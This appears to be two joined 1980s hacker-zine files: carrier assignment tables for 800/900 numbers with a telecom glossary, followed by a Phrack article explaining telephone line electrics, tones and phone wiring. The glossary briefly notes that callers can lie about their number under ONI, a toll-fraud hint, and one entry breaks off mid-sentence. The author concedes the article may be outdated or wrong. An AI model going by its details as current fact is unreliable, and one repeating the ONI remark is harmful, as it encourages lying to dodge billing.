321 ATX 322 ATX 323 ATX 324 HNI 325 ATX 326 UTC 327 ATX 328 ATX 329 TET 330 TET 331 ATX 332 ATX 333 MCI 334 ATX 335 SCH 336 ATX 337 FST 338 ATX 339 ‑‑‑ 340 ‑‑341 ATX 342 ATX 343 ATX 344 ATX 345 ATX 346 ATX 347 UTC 348 ATX 349 DCT 350 CSY 351 ATX 352 ATX 353 ‑‑‑ 354 ‑‑‑ 355 ‑‑356 ATX 357 ‑‑‑ 358 ATX 359 UTC 360 ‑‑361 CAN 362 ATX 363 CAN 364 HNI 365 MCI 366 UTC 367 ATX 368 ATX 369 TDD 370 TDD 371 ‑‑‑ 372 ATX 373 TDD 374 ‑‑‑ 375 TNO 376 ‑‑‑ 377 GTS 378 ‑‑‑ 379 ‑‑‑ 380 ‑‑381 ‑‑‑ 382 ATX 383 TDD 384 FDT 385 CAB 386 TBQ 387 CAN 388 ‑‑‑ 389 ‑‑‑ 390 ‑‑391 ‑‑‑ 392 ATX 393 EXF 394 ‑‑‑ 395 ‑‑396 ‑‑‑ 397 TDD 398 ‑‑‑ 399 ARZ

421 ATX 422 ATX 423 ATX 424 ATX 425 TTH 426 ATX 427 ‑‑‑ 428 ATX 429 ‑‑‑ 430 ‑‑431 ATX 432 ATX 433 ATX 434 AGN 435 ATX 436 IDN 437 ATX 438 ATX 439 ‑‑‑ 440 TXN 441 ATX 442 ATX 443 ATX 444 MCI 445 ATX 446 ATX 447 ATX 448 ATX 449 ‑‑‑ 450 USL 451 ATX 452 ATX 453 ATX 454 ALN 455 ‑‑456 MCI 457 ATX 458 ATX 459 ‑‑‑ 460 ‑‑461 CAN 462 ATX 463 CAN 464 ‑‑‑ 465 CAN 466 ALN 467 ICT 468 ATX 469 ‑‑‑ 470 ‑‑471 ALN 472 ATX 473 ‑‑‑ 474 ‑‑‑ 475 TDD 476 TDD 477 ‑‑‑ 478 AAM 479 ‑‑‑ 480 ‑‑481 ‑‑‑ 482 ATX 483 ‑‑‑ 484 TDD 485 TDD 486 TDX 487 ‑‑‑ 488 ‑‑‑ 489 TOM 490 ‑‑491 ‑‑‑ 492 ATX 493 ‑‑‑ 494 ‑‑‑ 495 ‑‑496 ‑‑‑ 497 ‑‑‑ 498 ‑‑‑ 499 ‑‑‑

521 ATX 522 ATX 523 ATX 524 ATX 525 ATX 526 ATX 527 ATX 528 ATX 529 MIT 530 ‑‑531 ATX 532 ATX 533 ATX 534 ‑‑‑ 535 ATX 536 ALN 537 ATX 538 ATX 539 ‑‑‑ 540 ‑‑541 ATX 542 ATX 543 ATX 544 ATX 545 ATX 546 UTC 547 ATX 548 ATX 549 ‑‑‑ 550 CMA 551 ATX 552 ATX 553 ATX 554 ATX 555 ATX 556 ATX 557 ALN 558 ATX 559 ‑‑‑ 560 ‑‑561 CAN 562 ATX 563 CAN 564 ‑‑‑ 565 CAN 566 ALN 567 CAN 568 ‑‑‑ 569 ‑‑‑ 570 ‑‑571 ‑‑‑ 572 ATX 573 ‑‑‑ 574 AMM 575 ‑‑576 ‑‑‑ 577 GTS 578 ‑‑‑ 579 LNS 580 WES 581 ‑‑‑ 582 ATX 583 TDD 584 TDD 585 ‑‑586 ATC 587 LTQ 588 ATC 589 LGT 590 ‑‑591 ‑‑‑ 592 ATX 593 TDD 594 TDD 595 ‑‑596 ‑‑‑ 597 ‑‑‑ 598 ‑‑‑ 599 ‑‑‑

621 ATX 622 ATX 623 ‑‑‑ 624 ATX 625 NLD 626 ATX 627 MCI 628 ATX 629 ‑‑‑ 630 ‑‑631 ATX 632 ATX 633 ATX 634 ATX 635 ATX 636 CQU 637 ATX 638 ATX 639 BUR 640 ‑‑641 ATX 642 ATX 643 ATX 644 CMA 645 ATX 646 ‑‑‑ 647 ATX 648 ATX 649 ‑‑‑ 650 ‑‑651 ‑‑‑ 652 ATX 653 ‑‑‑ 654 ATX 655 ‑‑656 ‑‑‑ 657 TDD 658 TDD 659 ‑‑‑ 660 ‑‑661 CAN 662 ATX 663 CAN 664 UTC 665 CAN 666 MCI 667 CAN 668 CAN 669 UTC 670 ‑‑671 ‑‑‑ 672 ATX 673 TDD 674 TDD 675 ‑‑676 ‑‑‑ 677 ‑‑‑ 678 MCI 679 ‑‑‑ 680 ‑‑681 ‑‑‑ 682 ATX 683 MTD 684 ‑‑‑ 685 ‑‑686 LGT 687 NTS 688 ‑‑‑ 689 ‑‑‑ 690 ‑‑691 ‑‑‑ 692 ATX 693 ‑‑‑ 694 ‑‑‑ 695 ‑‑696 ‑‑‑ 697 ‑‑‑ 698 NYC 699 PLG

720 TGN

721 ‑‑‑ 722 ATX 723 ‑‑‑ 724 RTC 725 SAN 726 UTC 727 MCI 728 TDD 729 UTC 730 ‑‑731 ‑‑‑ 732 ATX 733 UTC 734 ‑‑‑ 735 UTC 736 UTC 737 MEC 738 MEC 739 ‑‑‑ 740 ‑‑741 MIC 742 ATX 743 EDS 744 ‑‑‑ 745 ‑‑746 ‑‑‑ 747 TDD 748 TDD 749 TDD 750 ‑‑751 ‑‑‑ 752 ATX 753 ‑‑‑ 754 TSH 755 ‑‑756 ‑‑‑ 757 TID 758 ‑‑‑ 759 MCI 760 ‑‑761 ‑‑‑ 762 ATX 763 ‑‑‑ 764 AAM 765 ‑‑766 ‑‑‑ 767 UTC 768 SNT 769 ‑‑‑ 770 GCN 771 SNT 772 ATX 773 CUX 774 ‑‑‑ 775 ‑‑776 UTC 777 MCI 778 UTC 779 TDD 780 TDD 781 ‑‑‑ 782 ATX 783 ALN 784 ALG 785 SNH 786 *1 787 ‑‑‑ 788 ‑‑‑ 789 TMU 790 ‑‑791 ‑‑‑ 792 ATX 793 ‑‑‑ 794 ‑‑‑ 795 ‑‑796 ‑‑‑ 797 TID 798 TDD 799 ‑‑‑

821 ATX 822 ATX 823 THA 824 ATX 825 MCI 826 ATX 827 UTC 828 ATX 829 UTC 830 ‑‑831 ATX 832 ATX 833 ATX 834 ‑‑‑ 835 ATX 836 TDD 837 TDD 838 ‑‑‑ 839 VST 840 ‑‑841 ATX 842 ATX 843 ATX 844 LDD 845 ATX 846 ‑‑‑ 847 ATX 848 ATX 849 ‑‑‑ 850 TKC 851 ATX 852 ATX 853 ‑‑‑ 854 ATX 855 ATX 856 ‑‑‑ 857 TLS 858 ATX 859 ‑‑‑ 860 ‑‑861 ‑‑‑ 862 ATX 863 ALN 864 TEN 865 ‑‑866 ‑‑‑ 867 ‑‑‑ 868 SNT 869 UTC 870 ‑‑871 ‑‑‑ 872 ATX 873 MCI 874 ATX 875 ALN 876 MCI 877 UTC 878 ALN 879 ‑‑‑ 880 NAS 881 NAS 882 ATX 883 ‑‑‑ 884 ‑‑‑ 885 ATX 886 ALN 887 ETS 888 MCI 889 ‑‑‑ 890 ‑‑891 ‑‑‑ 892 ATX 893 ‑‑‑ 894 ‑‑‑ 895 ‑‑896 TXN 897 ‑‑‑ 898 CGI 899 TDX

921 ‑‑‑ 922 ATX 923 ALN 924 ‑‑‑ 925 ‑‑926 ‑‑‑ 927 ‑‑‑ 928 CIS 929 ‑‑‑ 930 ‑‑931 ‑‑‑ 932 ATX 933 ‑‑‑ 934 ‑‑‑ 935 ‑‑936 RBW 937 MCI 938 ‑‑‑ 939 ‑‑‑ 940 TSF 941 ‑‑‑ 942 ATX 943 ‑‑‑ 944 ‑‑‑ 945 ‑‑946 ‑‑‑ 947 ‑‑‑ 948 ‑‑‑ 949 ‑‑‑ 950 MCI 951 BML 952 ATX 953 ‑‑‑ 954 ‑‑‑ 955 MCI 956 ‑‑‑ 957 ‑‑‑ 958 *2 959 *2 960 CNO 961 ‑‑‑ 962 ATX 963 SOC 964 ‑‑‑ 965 ‑‑966 TDX 967 ‑‑‑ 968 TED 969 TDX 970 ‑‑971 ‑‑‑ 972 ATX 973 ‑‑‑ 974 ‑‑‑ 975 ‑‑976 ‑‑‑ 977 ‑‑‑ 978 ‑‑‑ 979 ‑‑‑ 980 ‑‑981 ‑‑‑ 982 ATX 983 WUT 984 ‑‑‑ 985 ‑‑986 WUT 987 ‑‑‑ 988 WUT 989 TDX 990 ‑‑991 ‑‑‑ 992 ATX 993 ‑‑‑ 994 ‑‑‑ 995 ‑‑996 VOA 997 ‑‑‑ 998 ‑‑‑ 999 MCI

Notes

~~~~~

*1 ‑‑ Released For Future Assignment

*2 ‑‑ These NXX codes are generally reserved for test applications; They may be reserved for Access Tandem testing from an End Office.

Note also: The following NXXs are dedicated for RCCP (Radio Common Carrier Paging) under the discretion of the local exchange carrier:

202, 212, 302, 312, 402, 412, 502, 512, 602, 612, 702, 712, 802, 812, 902, and 912.

OCN Reference List

~~~~~~~~~~~~~~~~~~

ADG ‑ Advantage Network, Inc. AGN ‑ AMRIGON

ALG ‑ Allnet Communication Services AMM ‑ Access Long Distance AAM ‑ ALASCOM ARE ‑ American Express TRS ARZ ‑ AmeriCall Corporation (Calif.) ATC ‑ Action Telecom Co.

ATX ‑ AT&T BML ‑ Phone America

BUR ‑ Burlington Tel. CAB ‑ Hedges Communications CAN ‑ Telcom Canada CNO ‑ COMTEL of New Orleans CQU ‑ ConQuest Comm. Corp CSY ‑ COM Systems

CUX ‑ Compu‑Tel Inc. CYT ‑ ClayDesta Communications DCT ‑ Direct Communications, Inc. DLT ‑ Delta Communications, Inc. EDS ‑ Electronic Data Systems Corp. ETS ‑ Eastern Telephone Systems, Inc. EXF ‑ Execulines of Florida, Inc. FDG ‑ First Digital Network FDN ‑ Florida Digital Network FDT ‑ Friend Technologies FST ‑ First Data Resources GCN ‑ General Communications, Inc. GTS ‑ Telenet Comm. Corp. HNI ‑ Houston Network, Inc. ITT ‑ United States Transmission System LDD ‑ LDDS‑II, Inc.

LDL ‑ Long Distance for Less LGT ‑ LITEL

LNS ‑ Lintel Systems LSI ‑ Long Distance Savers LTQ ‑ Long Distance for Less MAL ‑ MIDAMERICAN

MCI ‑ MCI Telecommunications Corp. MDE ‑ Meade Associates MEC ‑ Mercury, Inc. MIC ‑ Microtel, Inc.

MIT ‑ Midco Communications MTD ‑ Metromedia Long Distance NLD ‑ National Data Corp. NTK ‑ Network Telemanagement Svcs. NTS ‑ NTS Communications ONC ‑ OMNICALL, Inc.

ONE ‑ One Call Communications, Inc. PHE ‑ Phone Mail, Inc. PLG ‑ Pilgrim Telephone Co. PRO ‑ PROTO‑COL

RBW ‑ R‑Comm RTC ‑ RCI Corporation

SAN ‑ Satelco SCH ‑ Schneider Communications SDY ‑ TELVUE Corp. SIR ‑ Southern Interexchange Services SLS ‑ Southland Systems, Inc. SNH ‑ Sunshine Telephone Co. SNT ‑ SouthernNet, Inc. SOC ‑ State of California TBQ ‑ Telecable Corp. TDD ‑ Teleconnect

TDX ‑ Cable & Wireless Comm. TED ‑ TeleDial America TEM ‑ Telesystems, Inc. TEN ‑ Telesphere Network, Inc. TET ‑ Teltec Savings Communications Co TGN ‑ Telemanagement Consult't Corp. THA ‑ Touch America TID ‑ TMC South Central Indiana TKC ‑ TK Communications, Inc. TLS ‑ TELE‑SAV

TMU ‑ Tel‑America, Inc. TNO ‑ ATC Cignal Communications TOM ‑ TMC of Montgomery TOR ‑ TMC of Orlando

TSF ‑ SOUTH‑TEL TSH ‑ Tel‑Share

TTH ‑ Tele Tech, Inc. TTU ‑ Total‑Tel USA

TXN ‑ Tex‑Net USL ‑ U.S. Link Long Distance UTC ‑ U.S. Telcom, Inc. (U.S. Sprint) VOA ‑ Valu‑Line

VST ‑ STAR‑LINE WES ‑ Westel

WUT ‑ Western Union Telegraph Co.

NOTE: Where local telcos, such as Illinois Bell, offer 800 service, they purchase blocks of numbers from AT&T on prefixes assigned to AT&T. They are free to purchase blocks of numbers from any carrier of their choice however.

This list also applies to the 900/OCN Translation Table (presented later in this file).

900 Service

~~~~~~~~~~~

As I mentioned earlier there are two flavors of 900 service, AT&T and "everybody else." Everybody else is handled exactly as the 800 service above, except the IEC will probably use the ANI information to send you a bill (either directly, or through your BOC, each situation governed by applicable tariffs and contractual arrangements between the IEC and the BOC).

AT&T 900 is a curious monster indeed. It was designed as a "mass termination" service. When you dial a 900 by AT&T (such as the "hear space shuttle mission audio" number) you get routed to one of twelve "nodes" strewn throughout the country. These nodes are each capable of terminating 9,000 calls >PER SECOND<. There are several options available where the customer and/or the IP pay for all/part of the call. The big difference between 800 and AT&T 900 is >NOT< "who pays for the call" (there are free 900 numbers), but "how many people can it handle at once." The IP is responsible for providing program audio. AT&T is prohibited from providing audio‑program services (i.e. tape recorded messages). As with any rule, there are exceptions to these as well.

I have included the entire 900‑NXX to long‑distance carrier translation table.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Revised 900/OCN Translation Table Effective October 10, 1988

Please note that this differs from the 800 table, because much fewer of the 900 NXXs are assigned.

NXX OCN NXX OCN NXX OCN NXX OCN NXX OCN

200 ATX 202 Ameritech 210 ATX 220 ATX 221 TDX 222 ONC 223 TDX 225 Pac. Bell 226 MCI 233 TDX 234 TEN 240 U.S. West 248 Ameritech 250 ATX 258 TEN 254 TTU 255 SNT 260 ATX 264 ADG 266 CSY 272 Bell Atl. 273 CAN 275 ITT 280 Ameritech 282 LGT 283 Pac. Bell 288 GTE N.west 297 CAN 300 ATX 301 Ameritech 302 Ameritech 303 Pac. Bell 321 TEN 322 TDX 327 ETS 328 ATX 331 TET 332 PLG 333 U.S. West 335 Bell Atl. 342 ATX 344 ATX 345 ALN 346 United Tel. 350 ATX 364 GTE N.West 366 ONC 369 TEN 370 ATX 377 GTS 386 United Tel. 388 SNT 399 ARZ 400 ATX 407 ATX 410 ATX 420 ATX 422 ALN 426 PLG 428 Ameritech 430 U.S. West 444 ONC 445 PHE 446 MCI 450 Ameritech 451 CAN 456 TEN 463 United Tel. 478 AAM 479 ARZ 480 ATX 483 GTE Midwest 488 ONC 490 U.S. West 500 ATX 505 Pac. Bell 520 ATX 529 MIT 536 BUR 540 ALN 543 ALN 545 GTE Calif. 550 ALN 555 ATX 567 ALN 580 U.S. West 590 ATX 595 CAN 600 ATX 620 Ameritech 624 Pac. Bell 626 CSY 628 Ameritech 630 CAN 633 MIT 639 PLG 643 CAN 645 CAN 650 ATX 654 TEN 656 SNT 660 ATX 661 United Tel. 663 MDE 665 ALN 666 ONC 670 CAN 677 CAN 678 MCI 680 ATX 686 LTG 690 CAN 698 NY Tel. 699 PLG 701 Bell Atl. 710 TGN 720 ATX 722 Pac. Bell 724 RTC 725 SNT 727 GTE Calif. 730 ATX 739 CSY 740 ATX 741 TEN 746 ITT 750 CAN 753 ALN 765 ALN 773 ATX 777 Pac. Bell 778 Ameritech 780 Ameritech 786 ATX 790 CAN 792 CAN 801 Bell Atl. 820 ATX 830 CAN 843 Pac. Bell 844 Pac. Bell 847 United Tel. 850 ATX 860 ATX 866 AAM 870 CAN 872 TEN 887 ETS 888 CIS 900 TDX 901 Bell Atl. 903 ATX 909 ATX 924 Ameritech 932 ATX 948 ARZ 949 MIC 963 TEN 970 MIC 971 MIC 972 MIC 973 MIC 974 ALN 975 ALN 976 ATX 988 MCI 990 MCI 991 ALG 993 SNT 999 TEN

700 Service

~~~~~~~~~~~

The last SAC we'll deal with is 700. I've seen ads on late‑night television for Group Access Bridging service (GAB) under 700 numbers, with an elephantine dialing sequence. The one that comes to mind is 10041‑1‑700‑777‑7777. If you were to dial 1‑700‑555‑4141 you will hear a recording announcing your Equal‑Access carrier. (Some carriers ignore the last four digits, and any 700‑555 number will give the announcement).

This is signalled the same as 800 service, and may or may not be billed ENTIRELY at the discretion of the IEC. In New York, under PSC tariff, you can order 900 and/or 700 blocking as well as 976, 970, 550, and 540 blocking in various combinations.

What in ONE carrier might be a customer service hotline (Dial 1‑700‑I AM LOST) might for another be a revenue product. There is LITTLE standardization of 700 usage from IEC to IEC.

The one last dialing pattern that is worth mentioning is what's called, "cut through dialing." Try dialing 10220. If Western Union comes to your town, you'll get a FG‑A style dial tone. Presumably if you had a Western Union "Calling Card" you could dial a call.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Glossary

~~~~~

ANI ‑ Automatic Number Identification. An MF sequence that identifies your line for toll billing information. Often confused with ANAC (Automatic Number Announcement Circuit) which reads your number back in a synthesized voice.

BOC ‑ Bell Operating Company. An often misused term that in general usage means, "Your local exchange carrier." Since most of the telephones in the country are served by what used to be the Bell system, we tend to use the term. The proper term in this case, however IS "Exchange Carrier [EC]" They provide service within your LATA.

FG‑A ‑ Feature Group A. Line Side termination for Long Distance carriers. The old 555‑1234 for Widget Telephone Company then dial an access code and the number style dialing is called FG‑A.

FG‑B ‑ Feature Group B. Trunk Side termination for Long Distance carriers. (aka ENFIA B). 950 service. This is LATA wide service, and doesn't cost the customer message units. ANI is only provided when the trunks terminate in the End Office (as opposed to an access tandem).

FG‑D ‑ Feature Group D. Trunk Side termination. Provides 10xxx dialing, 1+ pre‑subscription dialing, and Equal Access 800/900 service. Only available in electronic offices and some 5XB offices (through a beastie called an Adjunct Frame.)

GAB ‑ Group Audio Bridging. Where several people call the same number, to talk to other people calling the same number. "Party" or "Chat" lines.

IEC ‑ Inter‑Exchange Carrier. Someone who actually carries calls from place to place. AT&T, Sprint, MCI are all IECs.

IP ‑ Information Provider. Someone who sells a value‑added service over the telephone. Where you pay for the INFORMATION you're receiving, as well as the cost of TRANSPORT of the call.

NXX ‑ Notation convention for what used to be called a "prefix". N represents the digits 2 through 9, and X represents the digits 0 through 9. There are 800 valid NXX combinations, but some are reserved for local use. (411 for Directory, 611 for Repair Bureau, 911 for emergency, etc.)

ONI ‑ Operator Number Identification. In areas with some styles of party‑line service, the CO cannot tell who you are, and the operator will come on and say, "What number are you calling from?". You can lie, they have to trust you. They MAY know which PREFIX you're coming from, though.

PTN ‑ Plant Test Number. A regular 10 digit number assigned with your inward WATS line. This may NOT be a 'dialable' number from the local CO. (A friend has a WATS line in Amherst, MA [413‑549,

dial the PTN locally, but you can if you come in on a toll trunk.)

SAC ‑ Special Area Code. Bellcore speak for area codes that aren't really places, but classes of service.

Lifting Ma Bell's Cloak Of Secrecy

==Phrack Inc.==

Volume Two, Issue 24, File 9 of 13

/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/

|

| Lifting Ma Bell's Cloak Of Secrecy |

| ~~~~~~~~~~~~~~~~~~

| A New Look At Basic Telephone Systems |

|

| by VaxCat |

|

\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\

Though telephones predate radio communications by many years, they aren't nearly as simple as they appear at first glance. In fact, some aspects of telephone systems are most interesting and quite ingenious. In this file, I will describe some of these more interesting and perhaps less well‑known areas of telephone systems. Before going any further, let me explain and apologize for the fact that some of the information in this file may not be altogether complete, up to date, or even totally correct.

I do not work for any phone company, and therefore, I do not have unlimited access to internal telephone company literature. Moreover, there is very little material available in books or magazines which describes how United States telephone systems work. Much of the information in this file has been obtained piece‑meal from many different sources such as books, popular magazines, computer data communications journals, handbooks, and sometimes just plain hearsay.

I have tried to correlate as much as possible all the little bits and pieces into a coherent picture which makes sense, but there is no easy way to be sure of all the little details. So think of this article as if it is a historical novel ‑ generally accurate and, regardless of whether it is completely true or not, fascinating. With this out of the way, let's go on.

You, as a customer, are generally referred to as the "subscriber." Your telephone connects to the Central Office through a two‑wire cable which may be miles long, and which may have a resistance on the order of hundreds or even thousands of Ohms. This cable is essentially a balanced line with a characteristic impedance of around 900 Ohms, but this varies greatly with different cables, different weather conditions, and different calls. This is why it is so hard to keep a hybrid phone‑patch balanced.

The main power in the central office comes from 48 volt storage batteries which are constantly kept trickle‑charged. This battery is connected to your line through a subscriber relay and a balanced audio transformer. The relay is sensitive enough to detect even quite small currents through your line.

The buttons which stick up out of your telephone case when you lift the handset activate the hook switch. The name probably dates back to the days when the handset (or even earlier, the earpiece) hung on the side of the phone from a hook. In any case, when your phone is hung up it is said to be on the hook, and when you lift the handset to make a call it is said to go off the hook. With the phone on hook, the line is connected only to the bell (called the ringer). Because the bell circuit has a capacitor in it, no DC current can flow through the phone. As a result, the subscriber relay back in the central office will be de‑energized, indicating to the central office (let's abbreviate that as CO from now on) that your phone is hung up.

Since there is no current through your line or phone, there is no voltage drop anywhere, and so if you measure the voltage across the phone line at your phone you will see the entire 48 volts (or even more if the CO batteries are well charged).

The positive (grounded) lead is called the tip and the negative lead is called the ring; these names correspond to the tip and ring of a three‑circuit phone plug. Now suppose you want to place a call; You pick up the handset and the phone goes off the hook. This completes the DC circuit through the dial, microphone, and the hybrid network which is basically a complicated transformer circuit.

At this point current starts to flow from the battery through your line and phone, and the subscriber relay back at the CO pulls in. The line voltage across your phone now drops to just a few volts because the line is loaded down by the low resistance of the phone. The CO now searches for some idle dialing circuits, and when it finds them, connects a dial tone back to your phone. When you hear this, you start dialing.

So lets talk about rotary dial, the type of phone which you turn with your finger (we will talk about Touchtone dials later). When you dial a number, the dial acts as a short circuit until you release the dial and let the built‑in spring return it back to the resting position. As it is returning, it starts to open and close the circuit in sequence to indicate the number you dialed. If you dial a 1, it opens the circuit once; if you dial a 9 it opens the circuit nine times. As the dial is returning it cause the subscriber relay to open and close in step. This enables the CO to recognize the number you want. When you finish dialing, the dial becomes just a plain short circuit which passes current through the microphone and the hybrid network. Since the mike is a carbon unit, it needs this current to work. When the CO receives he complete number, it starts to process your call. If you dialed another subscriber in the same area, it may connect you directly to that subscriber's line. Calls to phones a little further away may have to be routed through another CO, while long distance calls may go through one or more long distance switching centers (called tandems) and possibly many other CO's before arriving at the destination. At the completion of this process, you may get either a ringing signal, indicating that the phone at the other end is ringing, one of several types of busy signals, or possibly just silence, if something goes wrong somewhere.

When you talk to the person at the other end, the cable carries audio in both directions at the same time. Your carbon microphone varies the current in your circuit, and this current variation is detected by a balanced transformer in the CO. At the same time, audio coming back to your phone goes through the hybrid network to your earphone. In phone company lingo they like to call the mike a transmitter, and the earphone is called the receiver.

You may be interested in the makeup of the various tones you may hear on your telephone; these tones are important to people such as computer communications designers who have to build equipment which will recognize dial or other signaling tones:

Dial tone in older exchanges may still be a combination of 120 and 600 Hz, but the newer exchanges use a combination of 350 and 440 Hz. There is often a slight change in the DC line voltage at the beginning of dial tone, and this may also be detected.

Busy signal is a combination of 480 and 620 Hz which alternates for 1/2 second on and 1/2 second off (i.e., 60 interruptions per minute) when the party you are calling is busy.

The same busy signal may be used for other conditions such as busy interoffice or long distance circuits, but would then be interrupted either 30 times a minute or 120 times per minute. This is a standard agreed on by an international telecommunications organization called CCITT (and I don't offhand remember the French words it stands for), but occasionally other frequencies up to 2 kHz are used. A siren‑like sound varying between 200 and 400 Hz is often used for other error conditions.

The ringing tone, which you hear coming back to you when the phone rings on the other end of the connection, is nowadays mostly a combination of 440 and 480 Hz, but there is great variation between CO's. Very often a higher frequency such as 500 Hz is interrupted at 20 Hz, and other tones are used as well. The tone is usually on for 2 seconds and off for 4 seconds.

The ringing current, actually used to ring the bell in a telephone, is an AC voltage since it has to activate a ringer which has a capacitor in series with it. Different companies use different ringing currents, but the most common is 90 volts at 20 Hz. Since a typical phone may be thousands of feet away from the CO, the thin wires used may have a fairly high line resistance. Hence only a relatively small current can be applied to the bell, certainly not enough to ring something like a doorbell. This problem is solved by making the bell resonant mechanically at the ringing frequency so that even a fairly small amount of power is enough to start the striker moving hard enough to produce a loud sound. This is the reason why a low‑frequency AC is used. Although this raises some problems in generating a 20 Hz signal at a high enough voltage, it has the advantage that a bell will respond to a ringing current only if the frequency is quite close to the bell's naturally resonant frequency. If you build two bells, one resonant at 20 Hz and the other resonant at 30 Hz, and connect them together to the same line, you can ring just one bell at a time by connecting a ringing current of the right frequency to the line; this has some useful applications in ringing just one phone on a party line.

Now let's look at some of the components of the phone itself. We will consider the most common new phone, a model 500 C/D manufactured by Western Electric and used by Bell System affiliated phone companies. This is the standard desk phone, having modern rounded lines and usually having a G1 or G3 handset. It was developed about 1950 and replaced the older 300‑series phones which had the older F1 handset and had sharper corners and edges. There was an in between phone, where they took an old 300‑series phone and put a new case on it which resembled the 500‑style case, but had a straight up and down back ‑ the back of the case came straight down right behind the handset cradle, whereas the true 500‑style telephone has what looks like a set sticking out behind the cradle).

If you are still in doubt as to which phone you have, the bell loudness control is a wheel on the 500‑type phone and a lever on the 300‑type. If you live in the boondocks, you may still have the 200‑type phone (sometimes called the ovalbase) or maybe even the desk‑stand type that looked like a candlestick, with the microphone mounted on the top and the earpiece hanging on the side from a hook.

Neither of these phones had a built in bell, and so you probably have a bell box attached to your wall. If you have a phone with a handle on the side which you crack to call the operator, the following does not apply to your phone!

Now lets discuss the bell circuit, which consists of a two‑coil ringer and a 0.5 uF capacitor. On Western Electric phones the capacitor is mounted inside the network assembly, which also has a large number of screws on top which act as connection points for almost everything inside the phone. I have never been able to find out why the ringer has two coils of unequal resistance, but it apparently has something to do with determining which subscriber on a party line makes which call. In most phones, the yellow and the green wires are connected together at the wall terminal block so that the bell is connected directly across the telephone line; disconnecting the yellow lead would turn off the bell (although sometimes the connection is made internally by connecting the black lead from the ringer directly to the L1 terminal, in which case the yellow lead is disconnected.

You may wonder why a yellow lead is needed at all when only two wires are normally used anyway. It is true that only two wires enter the house from the outside; one of these is the tip and the other is the ring. In a non‑party line the ringing current as well as all talk voltages are applied between the tip and the ring, and it doesn't actually matter which of the phone leads goes to the tip and which to the ring if you have a rotary dial phone. If you have a Touchtone dial, then you have to observe polarity so that the transistor circuit in the dial works, in which case you have to make sure that the green lead goes to the tip and the red lead goes to the ring.

The yellow lead is commonly used for party lines. On a two‑party line ringing current from the CO is applied not between the two lines, but between one line and ground. In that case the yellow lead goes to ground while the other side of the ringer (the red lead) is connected to either the tip or the ring, depending on the party. In this way, it is possible to ring only one party's bell at a time.

The remaining connections inside the telephone are varistors; the phone companies must be the world's biggest users of these devices, which are variable resistors whose resistance drops as the voltage across them rises. Their function in the phone set is to short out parts of the set if the applied voltage gets too high.

The hook switch actually has three sets of contacts, two normally open (open, that is, when the hand set is on hook) which completes the DC circuit when you pick up the handset, and a normally closed contact which is wired directly across the earphone. This contact's function is to short the earphone during the time that the DC circuit is being opened or closed through the phone ‑ this prevents you from being blasted by a loud click in the earphone.

The dial has two contacts. One of these is the pulsing contact, which is normally closed and only opens during dialing on the return path of the dial after you let go of it. The second contact (the off‑normal contact), shorts the earphone as soon as you start turning the dial, and releases the short only after the dial returns back to the normal position. In this way you do not hear the clicking of the dial in the phone as you dial. Finally, the phone has the hybrid network which consists of a four‑winding transformer and whole collection of resistors, capacitors, and varistors. The main function of the network is to attenuate your own voice to lower its volume in your earphone.

The simplest phone you could build would be just a series circuit consisting of a dial, a mike, and an earphone. But the signals coming back from the other party so much weaker than your own signals, that than earphone sensitive enough to reproduce clearly and loudly the voice of the other person would then blast your eardrums with the sound of your own voice. The function of the network is to partially cancel out the signal produced by the local mike, while permitting all of the received signal to go to the earphone. This technique is similar to the use of the hybrid phone patch with a VOX circuit, where you want the voice of the party on the telephone to go to your transmitter, but want to keep the receiver signal out the transmitter.

In addition to the parts needed for the hybrid, the network also contains a few other components (such as the RC network across the dial pulsing contacts) and screwtype connection points for the entire phone.

A Touchtone phone is similar to the dial phone described above, except that the rotary dial is replaced by a Touchtone dial. In addition to its transistorized tone generator, the standard Touchtone pad has the same switch contacts to mute the earphone, except that instead of completely shorting the earphone, as the rotary dial does, the Touchtone dial switches in a resistor which only partially mutes the phone.

It is fairly common knowledge as to what frequencies are used for Touchtone signalling, but a it never hurts to reiterate information. Each digit is composed of one frequency from the low group and one frequency from the high group; for instance, the digit 6 is generated by producing a low tone of 770 Hz (Hertz) and a high tone of 1477 Hz at the same time. The American Touchtone pads generate both of these tones with the same transistor, while European pads (yes, there are some) use two transistors, one for reach tone. In addition to the first three high tones, a fourth tone of 1633 Hz has been decided on for generating four more combinations. These are not presently in use, although the standard phone Touchtone pad can easily be modified to produce this tone, since the required tap on the inductor used to generate the the tone is already present and only an additional switch contact is needed to use it.

What is not generally known is that the United States Air Force uses a different set of Touchtone frequencies, in the range of 1020 to 1980 Hz. Since many of the phones available for purchase in stores come from Department of Defense surplus sales, it will be interesting when these phones become available.

Another Touchtone dial presently used by amateurs is made up from a thin elastomeric switch pad made by the Chomerics Corporation (77 Dragon Court, Woburn, Mass. 01801) and a thick‑film hybrid IC made by Microsystems International (800 Dorchester Boulevard, Montreal, Quebec). The pad is the Chomerics ER‑20071, which measures about 2 1/4 inch wide by 3 inches high, and only about 3/16 inch thick (Chomerics also makes a smaller model ER21289, but it is very difficult to use and also apparently unreliable). Microsystems International makes several very similar ICs in the ME8900 series, which use different amounts of power and generate different amounts of audio. Some of these also contain protection diodes to avoid problems if you use the wrong polarity on the IC, and there are so many models to choose from that you should get the technical data from the manufacturer before ordering one. There are a number of United States distributors, including Newark Electronics, Milgray and Arrow Electronics in New York.

One of the problems with any current IC oscillator is that the frequency changes if rf gets near it. Many hams are having a hard time mounting such IC pads on their 2 meter handie‑Talkies. A solution seems in sight as Mostek, a large IC company, is coming out with an IC Touchtone generator which has a cheap 3.58 MHz external crystal as reference, and then produces the tone frequencies by dividing the 3.58 MHz down with flip flops to get the required tone frequencies. This approach not only promises to be more reliable in the presence of rf, but should also be cheaper since it would not need the custom (and expensive) laser trimming of components that the Microsystems International IC needs to adjust the frequencies within tolerance.

At the other end of the telephone circuit, in the CO, various circuits are used to decode the digit you dial into the appropriate signals needed to perform the actual connection. In dial systems, this decoding is done by relay circuits, such as steppers. This circuitry is designed for dialing at the rate of 10 pulses per second, with a duty cycle of about 60% open, 40% closed. The minimum time between digits is about 600 milliseconds, although a slightly greater time between digits is safer since it avoids errors.

